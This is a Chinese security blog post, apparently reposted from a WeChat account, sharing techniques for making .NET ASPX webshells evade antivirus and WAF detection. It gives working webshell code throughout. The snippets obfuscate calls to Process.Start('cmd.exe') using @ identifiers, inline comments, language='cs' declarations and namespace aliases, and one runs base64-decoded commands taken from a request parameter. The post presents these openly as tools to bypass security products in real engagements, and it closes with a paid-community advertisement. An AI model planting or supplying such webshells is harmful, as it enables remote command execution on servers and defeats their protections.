.NET WebShell 免杀系列Ⅱ之Tricks分享

admin 2022年8月10日09:48:38评论19 views字数 4082阅读13分36秒阅读模式

0x01 背景

.NET WebShell 绕过和免杀的方法系列第二季开始啦,接上季走硬刚Unicode编码绕过的方式Bypass主流的webshell查杀工具之后,本文介绍几种特殊的免杀和绕过技巧,有助于在实战中对抗WAF等安全产品,希望能帮助到大伙。

0x02 技巧一 符号

2.1 逐字标识符

@符号在.NET字符中有着特殊的意义,把“@”放在一个字符串前面,表示后面是一个逐字字符串,@符号的这个特点使得在表示系统文件路径时很方便,就可以不再需要转义符。使用@字符后无法在字符串中插入有效的换行符(n)或制表符(t),因为将被当成正常字符串输出。例如以下Demo

string filepath = "C:\Program Files\wmplayer.exe"; => C:Program Fileswmplayer.exestring filepath = @"C:Program Fileswmplayer.exe"; => C:Program Fileswmplayer.exestring filename = @"dotNettFile";  => dotNettFile

另外还可以转义.NET平台保留的关键词,如 Class、NameSpace、int等,参考如下Demo

namespace @namespace  {    class @class {          public static void @static(int @int)  {              if (@int > 0) {                   System.Console.WriteLine("Positive Integer");     }              else if (@int == 0)  {                   System.Console.WriteLine("Zero");    }              else  {                   System.Console.WriteLine("Negative Integer");  }           }       }  }

既然@字符可以做这么多有趣的事,咱们就研究下利用它绕过某些安全产品的防护规则,笔者在Process类完整的命名空间处每个点之间都加上@符

<script runat="server" language="c#">public void Page_load(){    @System.@Diagnostics.@Process.@Start("cmd.exe","/c mstsc");}</script>

2.2 内联注释符

在.NET项目中单个aspx页面里支持使用内联注释符 /**/ , 此符号只会注释掉两个*号之间的内容,利用此特点也可以在类完全限定名每个点之间加上内联注释,如下

<%@ Page Language="C#" ResponseEncoding="utf-8" trace="false" validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%><script runat="server">    public void Page_load()    {        System/**/.Diagnostics./**/Process/**/.Start("cmd.exe","/c calc");    }</script>

0x03 技巧二 语言

3.1 托管语言C#

.NET WebForm项目通常包含多个ASPX文件,每个文件都是C#语言编写服务端代码,其@Page指令最常用的设置如以下代码所示,[ Language ] 属性指明服务端所使用的托管语言类型,默认均为 Language="C#"

<%@ Page Title="About" Language="C#"  AutoEventWireup="true" CodeBehind="About.aspx.cs" Inherits="WebApplication1.About" %>

[ AutoEventWireup ] 属性可设置Index.aspx页面的事件是否自动绑定,其值为布尔类型,[ CodeBehind ] 属性指定包含与页关联的类的已编译文件的名称,这个属性不能在运行时使用。[ Inherits ] 定义本页面所继承的代码隐藏类,该类的以分部类方式定义于 [ CodeBehind ] 属性所指向的 .cs文件中,该类派生于System.Web.UI.Page类。

3.2 托管语言csharp

在WebForm项目单个ASPX文件中@Page指令也不是必须要声明的,可以省略。<script runat="server"> 标签表示代码运行于服务端,language可指定为csharp

<script runat="server" language="csharp">    public void Page_load()    {        if (!string.IsNullOrEmpty(Request["content"]))        {            var content = Encoding.GetEncoding("utf-8").GetString(Convert.FromBase64String(Request["content"]));            System.Diagnostics.ProU0000FFFAcess.StaruFFFAt("cmd.exe","/c " + content);        }    }</script>

3.3 托管语言cs

现在市面上大多数的安全防护产品和规则都紧盯着 language=csharp 或 language=c# 这两种,很多大马和小马在上传漏洞的场景下被封杀的死死的,但却忽略了.NET编译器还提供了 language=cs 这样的简略写法,有次帮助一位师傅成功绕过WAF拦截,哈哈挺有效的。

.NET WebShell 免杀系列Ⅱ之Tricks分享

参考的demo代码如下

<%@ Page Language="cs" trace="false" validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>

具体原因在于 .Net编译器提供Microsoft.CSharp.CSharpCodeProvider类实现对C#代码编译的,因为 System.CodeDom.Compiler.CodeDomProvider 类里的私有方法 GetCompilerInfoForLanguageNoThrow 获取config配置文件里的语言类型编译选项

.NET WebShell 免杀系列Ⅱ之Tricks分享

.NET WebShell 免杀系列Ⅱ之Tricks分享

从 PrivilegedConfigurationManager.GetSection 方法可以清楚的看到从配置文件的system.codedom标签下获取定义的所有语言类型,微软官方文档预设定义了三种,如下所示,详情点击 微软官方文档


属性 描述
extension 文件扩展名的分号分隔列表。例如“.cs”。
language 支持的语言名称的分号分隔列表。例如“C#;cs;csharp”。
type 类型名称必须符合指定完全限定的类型名称中定义的要求。

所以在默认的.NET编译器里支持 language=cs 这样的声明,基于这点创造的webshell代码如下


<script runat="server" language="cs">public void Page_load(){System.Diagnostics.Process.Start("cmd.exe","/c calc");}</script>

0x04 技巧三 别名

using + 命名空间名,这样可以在程序中直接用命令空间中的类型,而不必指定类型的详细命名空间,类似于Java的import,这个功能也是最常用的,如下

using System; using System.Data;

另外using语句还可以定义.NET资源使用范围,在程序结束时处理对象释放资源,比较常见与文件读写或者数据库连接等场景,如下代码

using (SqlDataAdapter sqa = new SqlDataAdapter(sql, sc)) {     sqa.SelectCommand.CommandTimeout = executeTimeOut;     sqa.Fill(dtRet);     return dtRet; }

using还有个取别名的功能,using + 别名 = 包括详细命名空间信息的具体的类型,当需要用到这个类型的时候,就每个地方都要用详细命名空间的办法来区分这些相同名字的类型,当然被笔者用来做免杀也是相当的赞,但在ASPX单个页面使用时,using变成Import关键词,如下代码

<%@ Import Namespace="dotNet=@System.@Diagnostics.@Process" %><script runat="server" language="c#">public void Page_load(){  dotNet.Start("cmd.exe","/c calc");  }</script>

将Process类的完全命名空间赋给dotNet这个别名,然后再代码中直接使用 dotNet.Start 方法启动新进程,这种方式或许能绕过一些安全产品的规则。

.NET WebShell 免杀系列Ⅱ之Tricks分享

0x05 结语

.NET这些有趣的Tricks还有很多,如果对这些技巧感兴趣的话可以多关注我们的博客、公众号dotNet安全矩阵以及星球,下一篇将继续分享 .NET 免杀Trick,请大伙继续关注文章。另外文章涉及的PDF和Demo已打包发布在星球,欢迎对.NET安全关注和关心的同学加入我们,在这里能遇到有情有义的小伙伴,大家聚在一起做一件有意义的事。

星球介绍

为了庆祝公众号粉丝突破5K,星球提供优惠劵立减【¥30】 ,加入星球每天只需要1块钱不到,就可以让自己从.NET小白成为高手,因为星球里的资料和教程很少在市面上广泛传播,价值完全划算,对.NET关注的大伙请尽快加入我们吧!

.NET WebShell 免杀系列Ⅱ之Tricks分享

dotNet安全矩阵知识星球 — 聚焦于微软.NET安全技术,关注基于.NET衍生出的各种红蓝攻防对抗技术、分享内容不限于 .NET代码审计、 最新的.NET漏洞分析、反序列化漏洞研究、有趣的.NET安全Trick、.NET开源软件分享、. NET生态等热点话题、还可以获得阿里、蚂蚁、字节等大厂内推的机会

.NET WebShell 免杀系列Ⅱ之Tricks分享

原文始发于微信公众号(dotNet安全矩阵):.NET WebShell 免杀系列Ⅱ之Tricks分享

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年8月10日09:48:38
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   .NET WebShell 免杀系列Ⅱ之Tricks分享http://cn-sec.com/archives/1228600.html

发表评论

匿名网友 填写信息